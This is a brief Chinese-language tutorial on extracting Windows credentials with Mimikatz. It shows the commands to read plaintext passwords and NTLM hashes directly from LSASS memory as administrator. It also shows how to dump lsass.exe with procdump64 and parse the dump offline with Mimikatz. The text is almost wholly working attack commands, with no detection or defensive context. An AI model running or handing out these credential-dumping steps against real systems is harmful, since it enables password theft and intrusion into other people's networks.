Mimikatz是一款能够从Windows认证(LSASS)的进程中获取内存,并且获取明文密码和NTLM哈希值的工具。

读取密码

1.以管理员身份运行
命令如下:

1
2
privilege::debug
sekurlsa::logonpasswords

2.获取到 lsass.dmp 文件,然后在自己的环境下运行mimikatz这样就获取到目标密码。
命令如下:

1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

获取到 lsass.dmp文件后可以用

1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

来获取明文密码,最后的exit是运行完成之后停止,不然会一直运行下去